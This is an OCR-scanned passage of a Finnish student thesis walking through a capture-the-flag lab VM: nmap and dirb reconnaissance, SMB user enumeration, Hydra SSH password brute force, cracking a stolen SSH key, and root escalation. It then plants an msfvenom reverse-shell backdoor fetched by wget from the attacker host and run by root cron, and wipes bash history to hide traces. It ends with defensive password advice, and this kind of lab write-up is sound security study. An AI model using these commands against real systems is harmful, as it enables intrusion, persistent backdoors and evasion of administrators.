Koska kohteen IP-osoite ei ole tiedossa, joudutaan skannaus suorittamaan tietylla IP
alueella, joka on tassa tapauksessa 192.168.1.1-250 eli siséaverkon 250 ensimaista
osoitetta. Skannaus suoritetaan Zenmapin konfigurointi osassa komennolla nmap -T4 -
F 192.168.1.1-250 (Kuva 1), jonka jalkeen skannauksen tulokset ilmestyvét konfiguraa-

tio-osan alapuolelle (Kuva 2).

Target: [192.168.1.1-250 v | Profile: |Quickscan v | |Scan

Command: 7nmap -T4-F192.168.1.1-250

Kuva 1. Zenmap -ohjelman konfiguraatio.
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Nmap scan report for basic2.lan (192.168.1.186)
Host is up (0.00079s latency).

Not shown: 94 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

8009/tcp open ajpl3

8080/tcp open http-proxy

MAC Address: 08:00:27:E7:55:77 (Oracle VirtualBox virtual NIC)

Kuva 2. Zenmap -skannauksen tulokset.

Skannauksen perusteella voidaan huomioida, ettéa kohteen IP-osoitteeksi on valikoitu-
nut 192.168.1.186, jonka perusteella on helppo suunnata tulevat hyokkaykset jarjestel-
maa vastaan. Liséksi nahdaan, etta kohteessa on kdyttssa useita eri palveluita, joiden

perusteella voidaan tehdé& jatkotoiminpiteita kohteeseen.

Koska kohteessa oleva portti 80 on auki, voidaan olettaa, ettéa sen takaa 16ytyy www-
palvelin. TAma voidaan varmistaa yksinkertaisesti menemalla selaimella kohteen IP-
osoitteeseen (Kuva 3). Samalla voidaan tarkistaa portti 8080, joka useimmiten on jon-

kin web-palvelun Ul:n kayttama portti (Kuva 4).

192.168.1.186/ X ‘ -+

< S ® 192.168.1.186
¥+ Most Visited @ Offensive Security @ KaliLinux @ KaliDocs @ Ke

Undergoing maintenance

Please check back later

Kuva 3. WWW-palvelimen huoltotilasta kertova viesti.
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Apache Tomcat/9.0.7 X [k

< C @ ® 192.168.1.186:8080
£* Most Visited @ Offensive Security @ Kali Linux @) Kali Docs €

Home Documentation Config

Apache Tomcat/9.0.7

Kuva 4. Apache Tomcatin esittelysivu kohdejarjestelmassa.

Portti 8080 osoittautuu Apache Tomcatin esittelysivuksi. Taman perusteella voidaan
yrittdd hakea mahdollisia haavoittuvuuksia, jotka on suunnattu Tomcatin versiolle 9.0.7.
Tarkempi tutkimus kuitenkin osoittaa, etta kyseessa oleva versio Tomcatista on varsin
uusi ja nain ollen voidaan olla melko varmoja, ettei tama ei ole jarjestelméan haavoittuva
kohta.

Koska web-palvelimen etusivu ei tarjoa enempéaa tietoa jarjestelmasta, yritetdén seu-
raavaksi etsia muita hakemistoja ja sivuja, joista saattaisi olla hy6tya jarjestelman tun-

keutumisen kannalta.

Tama voidaan suorittaa helpoiten DIRB nimisella ohjelmalla, joka niin ikéan 16ytyy Kali
Linuxista valmiiksi asennettuna. DIRB on yksinkertainen komentorivipohjainen tytkalu

verkkosivujen skannaamiseen.

Vaihtoehtona sille |6ytyy Dirbuster, joka toimii samalla tavalla, mutta tarjoaa GUI:n ja
on tasta syysta myos hivenen raskaampi ja hitaampi. Koska DIRB on nopeampi ja hel-

pompi kayttaa, se valikoituu tdssa tapauksessa kaytettavaksi tyokaluksi.

Skannaus aloitetaan komennolla dirb http://192.168.1.186/, jossa IP osoitteen paikalla
voi olla my6s www-osoite. DIRB palauttaa jokaisen lIoytdmanséa kansion ja tiedoston ni-
men, seka statuskoodin ja tiedostokoon (Kuva 5). Skannauksen tuloksista voidaan

nahda, ettd www-palvelimelta [6ytyy etusivun liséksi mielenkiintoinen kansio nimeltdan

development.
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:~# dirb http://192.168.1.186

START TIME: Mon Jan 21 20:31:22 2019
URL_BASE: http://192.168.1.186/
ORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.186/ ----

==> DIRECTORY: http://192.168.1.186/development/

+ http://192.168.1.186/index.html (CODE:200|SIZE:158)

+ http://192.168.1.186/server-status (CODE:403|SIZE:301)

---- Entering directory: http://192.168.1.186/development/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END TIME: Mon Jan 21 20:31:31 2019
DOWNLOADED: 4612 - FOUND: 2

Kuva 5. DIRB -skannauksen tulokset.

Development -kansiosta paljastuu kaksi eri tekstitiedostoa, dev.txt ja j.txt (Kuva 6). Nai-
den siséllosta voidaan paatella, ettd kohteena olevalle serverille on tulossa web-sovel-
luksia, mutta palvelimen asennus on viela kesken (luultavasti tasta syysta etusivulta

l6ytyy huollosta kertova teksti).

Index of /development X% [

< C o ® 192.168.1.186/development/
£¥ Most Visited @ Offensive Security @ KaliLinux @ KaliDocs @ Ka

Index of /development

Name Last modified Size Description

3 Parent Directory -
dev.txt 2018-04-23 14:52 483
jtxt 2018-04-23 13:10 235

Apache/2.4.18 (Ubuntu) Server at 192.168.1.186 Port 80

Kuva 6. Development -kansion sisalto.

Dev.txt -tiedostosta loytyvasta keskusteluista ndhdaan, etta kohteeseen on konfiguroitu

SMB protokolla ja, ettéd keskustelijoihin viitataan kirjaimilla J ja K.
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J.txt -tiedoston sisalléssa huomautetaan kuvitteellista kayttajaa J siita, etta hanen sala-

sanansa on heikko.

Naiden tietojen pohjalta voidaan yrittda selvittaa kayttajien oikeat kayttajanimet, seka
kaytattgjan J salasana kayttaen dictionary attack -menetelmaa.

Koska kohteeseen on konfiguroitu SMB-protokolla, voidaan sita hyddyntaa kaytta-
janimien selvittamiseen. Tahan tarkoitukseen Kali Linuxista 16ytyy esiasennettuna
enum4linux niminen tyokalu, joka hakee dataa Windows ja Samba jarjestelemista.

Tyokalun palauttamasta datasta (Kuva 7) ndhdaan, ettd SMB-protokollalle on ole-
massa kaksi kayttajaa, Jan ja Kay (oletettavasti siis J ja K).

on 192.168.1.186 via RID cycling (RIDS: 500-550,1000-1050)

[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
[5-1-22-1-1000 Unix User\kay (Local User)
[5-1-22-1-1001 Unix User\jan (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
[5-1-5-32-500 *unknown*\*unknown* (8)
[S-1-5-32-501 *unknown*\*unknown* (8)
-1-5-32- *unkpnown*\*uynknown* (8

Kuva 7. enum4linux -skannaus.

Koska kayttajan Jan salasanan viitattiin aiemmin olevan helposti murrettavissa, yrite-

taan paasta jarjestelmaan tata tietoa hyddyntaen.

Salasanan murtamiseen kaytetddn yleensa joko brutefoce tai dictionary-attack mene-
telmaa. Brutefoce menetelméassa salasana yritetdan murtaa kokeilemalla kaikkia mah-
dollisia sanoja. Dictionary-attack menetelmassa salasana yritetddn murtaa vertaamalla
sitd valmiiksi luotuun salasana listaan. Naistd kahdesta dictionary-attack on huomatta-
vasti suositumpi, silla se saastaa paljon aikaa, mutta ei ole yhta tehokas kuin bru-

teforce.

4.2 Paasy jarjestelmééan

Kolmannessa vaiheessa eli jarjestelmaan paasyssa pyritdan skannauksella saatua tie-
toa hyddyntden péésta sisaan itse jarjestelmaan (Lemon 2017). Tassa tapauksessa
hyddynnettavat tiedot ovat kayttajanimi (Jan), seka tieto siita, etté kayttajan salasana

on helposti murrettavissa.
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Koska kohteessa ainoa selkeasti avoinna oleva yhteystapa on SSH (portti 22), ja jar-
jestelman konfigurointi on selkeésti keskenerdinen, voidaan jarjestelméaan yrittaa mur-
tautua SSH-yhteyden kautta. Normaalisti tamantyyppinen hydkkays olisi todella han-
kala toteuttaa, silla yleisesti SSH-yhteys on hyvin suojattu téllaisia murtautumisyrityksia
vastaan.

Tama kay helpoiten Hydra nimisella ohjelmalla, jonka vaihtoehtona voitaisiin kayttaa
esimerkiksi Medusaa. Hydra on The Hackers Choise ryhméan kehittdma salasanan
murtamistytkalu, joka soveltuu hyvin Online hydkkayksen tekemiseen (Kali Tools
2019). Yksi sen eduista on arvata salasanaa simuloimalla monia yhtaaikaisia yhteyksia
kohteeseen ja ndin ollen samaa protokollaa voidaan hyédyntaa salasanan murtami-

sessa tehokkaammin.

Hydra ajetaan komennolla hydra -l jan -P /usr/share/wordlists/rockyou.txt
192.168.1.186 ssh. Komennossa -l tarkoittaa kayttajanimeda, -P salasanalistaa ja ssh
yhteysprotokollaa. Komennon palauttamista tuloksista (Kuva 8) nahdaan kayttajanimi

ja siihen sopiva salasana, joka tassa tapauksessa on "armando”.

:~# hydra -1 jan -P /usr/share/wordlists/rockyou.txt 192.168.1.186 ssh
ydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service or

ydra (http://www.thc.org/thc-hydra) starting at 2019-01-25 18:18:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),
[DATA] attacking ssh://192.168.1.186:22/
[STATUS] 260.00 tries/min, 260 tries in 00:01h, 14344143 to do in 919:30h, 16 active
[STATUS] 249.33 tries/min, 748 tries in 00:03h, 14343655 to do in 958:49h, 16 active
[22][ssh] host: 192.168.1.186 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
ydra (http:/iwww.thc.org/thc-hydra) finished at 2019-01-25 18:21:18

~#

Kuva 8. Hydra -skannaus.
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4.3 Paasyn yllapito

Hydkkayksen neljannessa vaiheessa pyritddn paasemaan syvemmalle jarjestelmaan ja
samalla luomaan takaportti, jotta jarjestelmaan tunkeutuminen uudelleen olisi helpom-
paa (Lemon 2017). Tassa haasteessa paamaarana on paasta jarjestelman root kaytta-

jéksi, joten aletaan etsia keinoja timan toteuttamiseksi.

Suurimassa osassa Linux -jarjestelmista root -tason kayttajaoikeuksia hallitaan sudo -
nimisella ohjelmalla, joka sallii normaalin kayttdjan ajaa komentoja root -tason kaytta-
jana (Miller 2019). Tasta syysta voidaan yrittdd saada root -tason oikeudet kayttajalle

suoraan komennolla sudo -i.

Tama ei valitettavasti toimi nykyisella kayttajalla, silla komentoa suoritettaessa tulostuu
teksti "jan is not in the sudoers file.” eli kayttajaa jan ei ole lisatty sudo -kayttajien lis-

taan ja nain ollen talla kayttajalla ei voi suorittaa root -tason komentoja.

Koska root tason komentojen suoritus ei onnistu, eiké kayttajaa nain ollen voi korottaa
suoraan root kayttajaksi, yritetdan seuraavaksi hakea kaikki kansiot ja tiedostot joihin
kayttajalla on vahintaan lukuoikeus. Pienella hakemisella saadaan selville, etté toisen
kayttajan, kayn kotikansio on yksi téllaisista kansioista. Kansion sisallésta mielenkiintoi-
simmat kohteet ovat pass.bak niminen tiedosto ja piilotettu .ssh kansio, josta paljastuu

toisen kayttdjan SSH privaattiavain.

Ikavaksi yllatykseksi yritys tulostaa pass.bak tiedoston siséltd tuottaa vain tekstin
"pass.bak: Permission denied” eli iimoituksen siitd, ettei nykyisella kayttajalla ole oi-
keuksia kyseessa olevaan tiedostoon. Ep&onnistuneesta tulostusyrityksesta huoli-
matta, tAma on kuitenkin tarke& tietoa, jota voidaan kayttdd hyvaksi haasteen myo-

hemmassa vaiheessa.

Koska yritys tulostaa tiedoston sisaltd epdonnistuu, seuraavaksi kohteeksi valikoituu
SSH -privaattiavain, jonka suojaus ei ole yhta tehokas ja nain ollen sen voi tulostaa ny-

kyisella kayttajalla (Kuva 9).
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:/home/kay/.ssh$ 1s -al

2 kay kay 4096 Apr 23 2018 .
5 kay kay 4096 Apr 23 2018 ..
1 kay kay 771 Apr 23 2018 authorized keys
1 kay kay 3326 Apr 19 2018 id rsa
- 1 kay kay 771 Apr 19 2018 id rsa.pub
:/home/kay/.ssh$ cat id rsa

RSA PRIVATE KEY
: 4,ENCRYPTED
: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ230AalxLvhuSZ1crRr40NGUANKCcRxg3+9vn6xcujpzUDultlz
09dyIEJB4wUZTueBPsmb487RdFVKTOVQrVHtylK2aLy2Lka2Cnfjz8L1v+FMadsN
XRvjw/HRiGCXPY8B7nsAleiPYrPZHIH3QOFIY1SPMYV79RC6516frkDSvxXzbdfX
AKAN+3T5FU49AEVKBItZnLTEBw31mxjvOlLXAqIaX5QfeXMacIQOUWCHAT LpVXmN

P s B P A cl N

Kuva 9. Kay -nimisen kayttajan SSH -privaattiavain.

Vaikka haku suoritettiin tdssa tapauksessa manuaalisesti, on suositeltavaa kayttaa ta-
han tarkoitukseen l6ytyvia scripteja, jotka listaavat suoraan tiedostot ja kansiot joihin

scriptin suorittavalla kayttgjalla on vahintaan lukuoikeus.

Kyseessa olevan privaattiavaimen kayttd suoraan kirjautumiseen ei tosin ole mahdol-
lista, silla avain on suojattu salasanalla. Avainta kayttaakseen pitaa siis ensin murtaa
sen salasana. Suosituin salasanan murtotytkalu Kali Linuxissa lienee John tai sen
graafinen versio Johnny. Sen kayttd kuitenkin edellyttéd, ettd SSH avain on kaannetty
oikeaan formaattiin, joten sen sijasta kaytetaan vahemman tunnettua pemcracker tyo-
kalua. Tyokalua ei I0ydy Kali Linuxista oletuksena, joten se pitda erikseen ladata ja
asentaa GitHub -l&hteesta (Graham 2015).

Ennen salasanan murtamista avain tallennetaan omaan tiedostoonsa kopioimalla avain
suoraan komentorivilta tekstitiedostoon. Tiedoston nimeksi voi antaa mita tahansa,

mutta selkeyden vuoksi kaytetdan nimea "sshkey”.

Kun pemcracker on asennettu, sita kaytetaan suorittamalla komento pemcracker
sshkey rockyou.txt, jossa "sshkey” on SSH-avaimen nimi ja "rockyou.txt” salasanalista
(Kuva 10).

:~/pemcracker# ./pemcracker sshkey rockyou.txt

Hashes (100003) Per Second(©.73318s): 136399Password is beeswax for sshkey

Kuva 10. pemcracker -ohjelman kaytto.
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Salasanalistana voidaan kayttaa mita tahansa internetista I16ytyvaa listaa, joista suurim-
mista l6ytyy miljoonia salasanoja ja naiden variaatioita. Mitd suurempi lista on, sita kau-
emmin sen prosessointi vie aikaa ja tehoa. Tasta syysta ne soveltuvat hyvin ammatti-
maisempaan tietoturvatestaamiseen, mutta ovat tarpeettoman suuria tietoruvahaastei-
den kanssa kaytettavaksi. Haasteissa kaytettavat salasanat l16ytyvatkin lahes aina Kali
Linuxissa valmiina olevista salasanalistoista, joista suositumpia on pemcracker komen-

nossa kaytetty rockyou.txt.

Avaimen salasanan murtamisen jalkeen, sitd voidaan kayttaa normaalisti kirjautumi-

seen SSH-yhteyden kautta.

Onnistuneen sisdénkirjautumisen jalkeen aloitetaan sama prosessi, kuin toisen kaytta-
jan kanssa. Heti ensimmaiseksi voidaan huomioida, ettd root kayttboikeudet antava
sudo -i komento tulostaa salasanakyselyn. Tasta voidaan paatella, etta kayttajalla on
sudo kayttajan oikeudet, mutta salasana ei valitettavasti ole sama, kuin sisdankirjautu-

miseen kaytetty salasana.

Edellisen kayttdjan kanssa tehty tutkimus nykyisen kayttajan kotikansioon tuottaa tu-
losta, silla pass.bak -tiedosto on télla kertaa selattavissa ja sen sisélloksi paljastuukin

vahemman yllattden uusi salasana.

Koska kayttajalla kay on sudo -oikeudet, yritetdan kayttaa juuri saatua salasanaa kayt-
tajan korottamiseen root -kayttajaksi. Vahemman yllattden sudo -komennon kayttami-
nen uuden salasanan kanssa onnistuu ja nain ollen saadaan root -oikeudet jarjestel-
maan. Samalla paljastuu root -kayttajan kotikansioissa oleva flag.txt -tiedosto, josta

saadaan tulostettua haasteen luojan onnittelut haasteen suorituksesta.

Itse haaste on saavuttanut paddmaaransa, eli onnistuneen kirjautumisen root kaytta-
jéksi. Jarjestelmaan ei kuitenkaan vield ole pysyvaa takaovea, joten haastetta jatketaan

taman saavuttamiseksi.

Helpoin keino on luoda root kayttajana uusi kayttaja ja antaa sille sudo oikeudet. Tdma
ei kuitenkaan ole kovinkaan nakymatonta ja kyseessa olevan toiminnan huomaa hel-

posti.

Toinen mahdollisuus on luoda Weevely -nimisella ohjelmalla takaporttina toimiva PHP -

tiedosto, joka suoritetaan menemalla selaimella kyseessa olevan tiedoston sijaintiin.
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Tama tekniikka kuitenkin edellyttaa PHP:n asentamisen jarjestelmaan, joka ei myds-
k&an ole kovin huomaamatonta. Liséksi se sallii paasyn jarjestelmaan vain www-data-

kayttajana, joten kyseessa oleva kayttaja pitaa ensin korottaa sudo kayttajaksi.

Kolmas vaihtoehto on luoda Metasploit -nimisella ohjelmalla takaovena toimiva python
-skripti eli RAT. Talla tekniikalla toteutettu takaovi on vaikein luoda, mutta oikein teh-
tyna se on vaikein havaita ja nain ollen toimii parhaiten. Halutessaan skriptid voi myos
parantaa toimimaan taysin itsendisesti, mutta haasteen loppuun viemisen kannalta
tama ei ole oleellista, joten sen sijaan keskitytdan siihen, miten skripti luodaan ja miten

sitd voidaan yksinkertaisemmalla tasolla kayttaa kyseessa olevaan jarjestelmaan.

RAT-skripiti luodaan msfvenomilla, joka on osa Metasploit ohjelmaa. Skriptin luominen
tapahtuu komennolla msfvenom -p python/meterpreter/reverse_tcp
LHOST=192.168.1.153 -0 b2rev.py. Komennossa -p edustaa payloadia, joka tassa ta-
pauksessa on kaanteisella TCP yhteydella toimiva meterpreter. Kaanteinen TCP tar-
koittaa, etta suoritettaessa RAT ottaa yhteyden tiettyyn IP osoitteeseen TCP yhteyden
kautta. LHOST merkitsee IP osoitetta, johon RAT suoritettaessa ottaa yhteyden ja -0
tiedostoa, johon RAT skripti luodaan. Msfvenomista 16ytyy myds ominaisuus, joka sallii
toisen python skriptin kayttamisen RAT:in naamiointiin ja ndin ollen tekee siita troijalai-
sen. RAT:in oletus porttina toimii 4444, mutta sen voi halutessaan vaihtaa lisaamalla
komentoon LPORT="haluttu portti”.

Onnistuneen RAT:in luomisen jalkeen kaynnistetaan Kali Linuxissa oleva apache web -
palvelin, josta RAT ladataan kohde jarjestelmaan. RAT-tiedosto siirretaan www-palveli-
men kotikansioon, jonka jalkeen se ladataan suorittamalla SSH yhteyden kautta ko-
mento wget 192.168.1.153/b2.rev.py eli hae b2rev.py niminen tiedosto osoitteesta
192.168.1.153 (Kali Linux web server).

Kun RAT on ladattu kohdejarjestelméaén, sen toiminta voidaan testata asettamalla
metasploit kuuntelemaan RAT:iin asetettua porttia. Tdma saadaan aikaan metasploi-
tissa valitsemalla handleri, joka asetetaan toimimaan RAT:iin kdytetyn payloadin
kanssa. Handleri tarvitsee payloadin lisdksi tiedon siitd, mité IP osoitetta kuunnellaan.

Taman jalkeen RAT suoritetaan kohdejarjestelméssa.

Kun RAT suoritetaan kohdejarjestelméssa, metasploit iimoittaa avanneensa meterpre-
ter session jarjestelmaan, joka merkitsee sita, ettd RAT toimii odotetulla tavalla. Koska

RAT on suoritettu root kayttajana, myos meterpreter sessiolla on root tason oikeudet
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jarjestelmaan. RAT-skriptin saaminen jarjestelméaén ei kuitenkaan viela riita, silla jokai-

nen yritys ottaa yhteys jarjestelmaan vaatii RAT-skriptin suorittamisen aina uudelleen.

Tama voidaan ratkaista helpoiten luomalla Linuxin cron ohjelmalla, joka sallii haluttujen
komentojen suorittamisen automaattisesti. Cron ohjelmaa kontrolloidaan crontab nimi-
sella tiedostolla, jonka nimi tulee sanoista Cron Table. Se sisaltda komentorivi muo-
dossa taulukon, jossa maaritellaan milloin, mika kayttaja ja mika komento suoritetaan.
Tassa tapauksessa RAT laitetaan suorittumaan minuutin valein kayttajalla root. Aikava-
lilla ei ole haasteen suorituksen kannalta valia. Taulukon ajastus toimii siten, etté nu-
meroilla tai tahdilla ilmaistaan, milloin komento halutaan suorittaa. Ensimmaiset kaksi
paikkaa edustavat tunteja ja minuutteja, seuraavat kolme kuukauden paivaa, kuukautta

ja viikonpaivaa (Admin’s Choise 2019

). Mikali komento halutaan ajaa kaikkina ajankohtina kyseessa olevalta kohdalta, siihen
merkitaan tahti eli "kaikki”. Koska taulukon pieni ajankohta on minuutti, merkitaan mi-

nuutin valien toistettava komento laittamalla kaikkiin aika kohtiin tahtimerkinta.
Kokonaisuudessaan crontab tiedostoon lisattava rivi nayttaa siis seuraavalta:

* * %% * root /usr/bin/env python3 /root/b2rev.py eli suorita minuutin valein komento pyt-
hon3 b2rev.py root kayttajana.

Taulukon muokkaamisen jalkeen sen vaikutus voidaan testata lopettamalla vanha me-
terpreter sessio ja kaynnistamalla se uudelleen. Poikkeuksena aikaisempaan se, etta

RAT-skriptid ei suoriteta manuaalisesti, vaan oletetaan cron ohjelman suorittavan se.

Mikali cron taulukon muokkaus on sujunut onnistuneesti, pitaisi metasploitin luoda uusi
meterpreter sessio automaattisesti. Koska RAT-skriptin suoritus on nyt automatisoitu,

voidaan SSH-yhteys kohteeseen sulkea ja jarjestelmaan paastaan vastaisuudessa root
oikeuksilla metasploitin kautta. Varmistetaan kuitenkin vield, etta skripti varmasti suori-

tetaan root kayttajana.

Tama voidaan toteuttaa kahdella eri tavalla: annetaan meterpreterille joko komento ge-
tuid tai shell. NA&mé& eroavat toisistaan siing, ettd jalkimmainen pudottaa kayttajan Linux
shelliin, jossa tulee suorittaa liséksi komento whoami, kun ensin mainittu tulostaa suo-

raan tekstin "Server username: root”.
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Haaste on nyt tullut lopulliseen paatokseensa, jonka tuloksena on paasy kohdejarjes-
telmaan root kayttajana ja lisdksi takaovi, joka takaa jarjestelmaan paasyn tulevaisuu-

dessa.

4.4 Jalkien peittely

Tietoturvatestaamisen viimeinen vaihe eli jalkien peittely pitda sisallaan kaiken toimin-
nan, jolla pyritddn harhauttamaan jarjestelman yllapitoa ja nain ollen peittamaan jarjes-
telmaan tehdyt muutokset (Lemon 2017). Tehokkaimpia ja yleisimpia tapoja taman vai-
heen suoritukseen on lokitiedostojen pyyhkiminen. Mikali murtautuminen tehtdisiin oi-
kean maailman laitteeseen, tdmé kannattaa suorittaa tarkoitukseen tehdylla skriptilla,
silla kaikkien lokitietojen l&pikdyminen kasin on todella hidas ja aikaa vieva prosessi.
Liséksi mitd kauemmin jarjestelméssa joutuu viettamaan aikaansa, sen suuremmalla to-
dennakdisyydella toiminta huomataan. Koska kohde ei talla kertaa ole niin vaativa, etta
se tarvitsisi laajamittaista jalkien peittelya, tyydytaan perus lokitietojen puhdistamiseen.
Yksi tallainen lokitiedosto on nimeltaan bash_history. Se pitaa sisallaan historian kaytta-
jan komentoriville kirjottamista komennoista. Koska kyseessa oleva tiedosto ei sisalla
aikaleimoja, sen muokkaaminen on helppoa ja ylimaaraiset komennot saa siivottua hel-

posti pois.
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5 HAASTEEN ANALYSOINTI

Haaste osoittautui loppujen lopuksi olevansa helpoimmasta paastd, mutta tietoturvan
esittelemiseen se soveltuikin tasta syysta hyvin. Jotkin haasteen kohdista olivat sellaisia,
mit& en olisi ilman ohjeistusta saanut suoritettua, mutta juurikin naiden ongelmien ansi-

osta opin asiasta uutta eli haaste toimi talta osin kuten pitikin.

Ensimmainen ongelma oli SSH-avaimen salauksen murtaminen, jossa ongelmaksi osoit-
tautui avaintiedoston kaantaminen John nimiselle salasananmurto-ohjelmalle sopivaksi.
Ohjeen mukaan avaintiedosto olisi pitanyt kaantéad PEM -muodosta PASSWD -muotoon
kayttamalla ssh2john -nimista python -skriptid, jonka jalkeen se olisi pitdnyt murtaa Joh-
nilla. Tama muodostui ongelmaksi, kun ssh2john skripti ei ollutkaan suoraan komentori-
vilté saatavilla (kuten ohjeen mukaan olisi pitédnyt olla) vaan se piti hakea erikseen Johnin
asennustiedostoista ja sen jalkeen suorittaa, kuten mika tahansa muukin python skripti.
Skriptin sai lopulta suoritettua ja avaimen annettua Johnille, mutta 3 tunnin murtamisyri-
tyksen jalkeen voitiin huomata, ettd Johnin oletuksena kayttdma salasanalista ei yllat-
téden edes sisédltanyt SSH-avaimen salasanaa. Tama oli sikali suuri yllatys, ettd ohjeessa
ei mainittu mitdan vaihtoehtoisen listan kayttdmisesta, joten mikali en olisi salasanaa
ohjeesta ndhnyt ja sen perusteella osannut sita listasta hakea, olisin voinut jaada tadhan
kohtaan tunneiksi jumiin. Tasta viisastuneena vaihdoin salasanalistan geneerisempaan
rockyou.txt listaan, josta salasana onneksi l6ytyi. John ei kuitenkaan listaa huolinut vaan
antoi sen sijaan joukon epamaaraisia virheilmoituksia. Koska avaimen murtamiseen toi-
sena vaihtoehtona kaytetty Pemcracker oli jo onnistuneesti asennettu, kokeiltin sen
kayttdmistad Johnin sijaan. Kokeilu osoittautui onnistuneeksi huomattavasti Johnia pie-
nemmalla vaivalla. Tasta syystd Johnin antamat virheilmoitukset jatettin omaan ar-

voonsa.

Toinen ongelma tuli eteen, kun haaste paasi vimeiseen vaiheeseensa eli RAT-skriptin
luomiseen. Koska kyseessé oleva vaihe ei ole virallisesti osa haastetta, sité ei mydskaan
ohjeistettu millaan tavalla, vaan sen suorittamiseen tuli kayttdd aiempaa tietamysta ja
osaamista asian tiimoilta. RAT-skripitin luominen olisi pitanyt onnistua suoraan Metas-
ploit ohjelmalla, mutta jostain syystéa se ei osannut muotoilla skriptia oikein siitd huoli-
matta, ettd tiedostomuoto maaritettiin erikseen pythoniksi. Ongelma ratkaistiin lopulta
luomalla skripti Msfvenom nimisella komentorivi ohjelmalla, joka onnistui heti ensimmai-

sella yrittamalla luomaan skriptin oikein.
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Kolmas ja viimeisin ongelma ilmaantui cron ohjelman cron taulukkoon tehtavan ajastuk-
sen kanssa. Aluksi voitiin paatelld, ettd RAT saataisiin suorittumaan yksikertaisesti ker-
tomalla cron ohjelmalle, ettd halutaan suorittaa root kansiossa oleva b2rev.py tiedosto
root kayttajana minuutin valein. Tama ei kuitenkaan ollut niin yksinkertaista, silla monen
kokeilun ja googlaamisen jalkeen paljastui, ettéd mikali cron- taulua haluaa kayttaa python
skriptin suorittamiseen, pitaa taulukolle kertoa skriptin sijainnin lisdksi itse pythonin si-
jainti ja nain ollen maarittaa, etta skripti suoritetaan komentona python b2rev.py pelkan

b2rev.py sijaan.

Koska haasteen suoritus perustui suureksi osaksi erilaisiin haavoittuviin kohtiin jarjestel-
massa, esitelladn seuraavaksi nama kohdat, syyt naiden kohtien olemassa ololle ja kei-

not, joilla ne voidaan korjata ja estéa tulevaisuudessa kokonaan.

Aivan haasteen alussa huomattiin, etta Apache web-serverin sisaltd oli suoraan selatta-
vissa ja sen kautta paasi development nimiseen kansioon. Kansion sisallosta saattoi
paatella heti, ettd jarjestelmén salasanat ovat heikkoja. Tassa tapauksessa kyse oli
enemmankin vihjeesta haavoittuvuuteen, kuin suora haavoittuvuus, mutta ilman kansion
siséllon nakemista salasanojen murtaminen ei valttamatta olisi ollut yhta helppoa. Tallai-
set virheet ovat monessakin jarjestelméssa hyvinkin yleisia, silla uutta jarjestelmaa pys-
tyttdessa usein unohtuu juurikin tallaisten tiedostojen oikeuksien sdatadminen. Edella
mainittu olisi voitu estda hyvinkin helposti lisaamalla apacheen htaccess niminen konfi-

guraatio.

Htaccess on konfigurointi tiedosto, joka sijoitetaan siihen kansioon, jonne paésya halu-
taan rajoittaa. Tiedosto itsessaan sisaltda vain tiedon siita, kuka tai ketké ovat oikeutet-
tuja lukemaan kansion sisaltda, joten se linkitetaan htpasswd tiedoston kanssa, joka si-

saltda tiedon itse kayttajista ja salasanoista (Wood 2019.).

Paraskaan salasanasuojaus ei kuitenkaan auta, mikali suojaukseen kaytettava salasana
on tarpeeksi heikko, jotta sen murtaminen on ajallisesti mielekasta. Haasteessa kaytet-
tavista salasanoista ainoastaan yksi oli pituudeltaan standardien mukainen, mutta sekin

muulta osin helposti murrettavaa luokkaa.

Standardin mukaisella salasanalla tarkoitetaan yleisesti salasanaa, joka on vahintaan
kahdeksan (8) merkkia pitkd (mita pidempi, sen parempi), sisdltda vahintadan yhden ison
ja pienen kirjaimen, sek& erikoismerkin. Lisaksi joissain paikoissa vaaditaan, ettd sala-
sana ei ole "mustalla listalla” eli salasana ei ole liilan yksinkertainen, vaikka se muutoin

tayttaisi edellytykset.
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Yksi tehokas tapa saada salasanasta turvallisempi on kirjoittaa se osittain tai kokonaan
nk. Leet -kirjoitustyylilla, jossa osa kirjaimista korvataan numeroilla. Esimerkiksi
"Qwerty1!” kaantyisi Leet -kirjoituksena muotoon "Qw3r7y1!”, joka on huomattavasti vai-

keampi murtaa.

Salasana ei myoskaan tulisi olla liian itsestaan selva eli siina ei tulisi kayttaa esimerkiksi
lemmikin nimea tai syntyma aikaa. Valitettavasti tallaisia salasanoja kuitenkin 16ytyy hy-
vin paljon. Salasana kannattaakin mieluiten luoda joidenkin sanojen yhdistelméasta tai
lauseesta, johon lisataan erikoismerkkeja ja kdédnnetadan osittain tai kokonaan Leet kir-
joitukseksi. Toinen tehokas tapa on luoda ns. salasanasailid, joista tunnetuimpia on
LastPass niminen ohjelman. Ohjelmaan luodaan yksi pdésalasana ja talla hallinnoidaan
sdilion siséltamia salasanoja. Tallaisen ohjelman etuna on helppokayttoisyys, silla kay-
tannossa kaikki tallaiset ohjelmat luovat oletuksena vahvoja salasanoja, joita on kaytan-
ndssa mahdoton murtaa. Ongelma muodostuukin luottamuksesta naihin ohjelmiin, silla
sellaista kaytettaesséa otetaan riski siihen, etta itse ohjelma murretaan, kun LastPassin
tapauksessa on kaynyt. Myds Google tarjoaa selaimensa yhteydessa kaytettavaa sala-
sanasdiliotd, joka osaa nykyisin ehdottaa vahvaa salasanaa, kun se havaitsee tunnuk-

sen luomisen jollekin verkkosivulle.

Salasanan monimutkaisuuden liséksi se tulisi vaihtaa séanndllisesti. Yleensa aikavalina
kaytetaan 90 tai 180 paivaa, mutta aikavali voi tietysti vaihdella suurestikin. Tallaisen
aikarajoitteen kayttamisessa tulee esiin huonona puolena se, ettd usein kayttajat eivat
